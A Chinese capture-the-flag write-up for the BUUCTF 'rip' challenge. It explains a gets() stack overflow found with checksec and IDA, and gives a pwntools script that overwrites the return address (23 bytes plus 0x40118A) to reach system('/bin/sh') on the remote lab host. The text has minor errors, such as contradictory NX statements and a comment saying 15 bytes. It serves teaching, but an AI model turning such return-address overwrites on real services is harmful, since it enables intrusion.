2.rip
题目:函数溢出,熟悉解题思路过程
将下载下来的pwn1文件内容,放到ubuntu中checksec一下
ubuntu中checksec文件
-
从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE.
下面我们用IDA打开这个文件
F5
打开这个文件后,会有这样一个界面,点击F5可以将汇编语言还原为C
代码分析:函数很简单,就一个puts函数输出,然后gets函数输入到s当中,用puts函数输出出来。
程序关键:存在gets函数,由于存在两个参数,准确来说是gets_s函数。
gets_s(buffer,size)函数:从标准输入中读取数据,size表示的最多读取的数量,在这里是argv,没有定义是多大,所以我们就可以无限的输入。
get函数 gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,进而获取flag.
shift+f12
按下shift+f12,打开string window
发现/bin/sh,双击/bin/sh, 点击command,点击X,发现/bin/sh的address在fun()函数里
点击上面的Pseudocode-A,点击fun,可以发现fun()函数就是一个简单的system()函数,第1题nc不同,system("/bin/sh")在fun()函数里,不在main函数里,所以这里就有了工作: 想办法触发fun()
编写exploit
这里我们借用的工具可以有pycharm,sublime text,以及ubuntu自带的vim编辑器,也可以使用VScode,我把VScode放到了ubuntu当中
1.ubuntu中使用vim,直接在终端输入vim 12.py(名字自己起,带上.py)
为什么这样写?等会解释,编写完成后esc,冒号,wq!强制保存退出
执行命令,ls查看内容,cat flag找出flag即可
2.sublime text,打开软件编写即可
可以存储到主目录下
命名中含有.py,而后同1执行
3.ubuntu中VScode
在终端输入code.跳转到vscode中
存储到主目录下,执行
4.pycharm
可以在windows中编写代码,运行
运行代码后,ls cat flag即可
代码解释
from pwn import* //pwntools函数导入 sh = remote('node4.buuoj.cn',27719) //连接靶机的服务,需要输入对应的ip地址和端口号 #sh = process('./pwn1') //本地调试 payload = b'a'*23+p64(0x40118A) //输入payload来进行操作以拿到程序的shell,生成15个垃圾二进制数据,b'a'表示二进制的字母a。栈填满了之后,加上目标函数地址,就可以执行这个函数 //这里代码也可以这样写 //payload=b'a'*(0xf+0x8)+p64(0x40118A) sh.sendline(payload) //sendline() - 发送带回车符的字符串,sendline() 和 send() 唯一的区别就是在发送的字符串后面加上了回车换行符. sh.interactive() //发送命令进行交互, sh.interactive()允许我们在终端里将命令传送到靶机服务器
payload = b’a’*23+p64(0x40118A) 核心在于偏移量23计算和0x40118A的由来 其中 b是bytes的缩写,是bytes类型,p64是打包函数,把地址转换为b类型的二进制形式
偏移量23计算 在main函数中,双击s,s占据了15个db,再加上"s"[saved registers]的8个db,一共23个db
可以进入到这个界面,计算s的偏移量:0-(-0xf)=0xf=15,我们要覆盖s的内容到r返回地址,所以0xf+0x8
0x40118A的由来:在IDA中,打开fun函数, 可看到fun()函数开始的地址为0x401186, "/bin/sh"指令执行的地址为0x40118A
可以直接点击Export,可以看到是0x401186
在汇编语言的情况下,点击func函数也可以看到函数的情况
可以看到初始的地址是401186
右键双击也可以查看另外一个版本的起始地址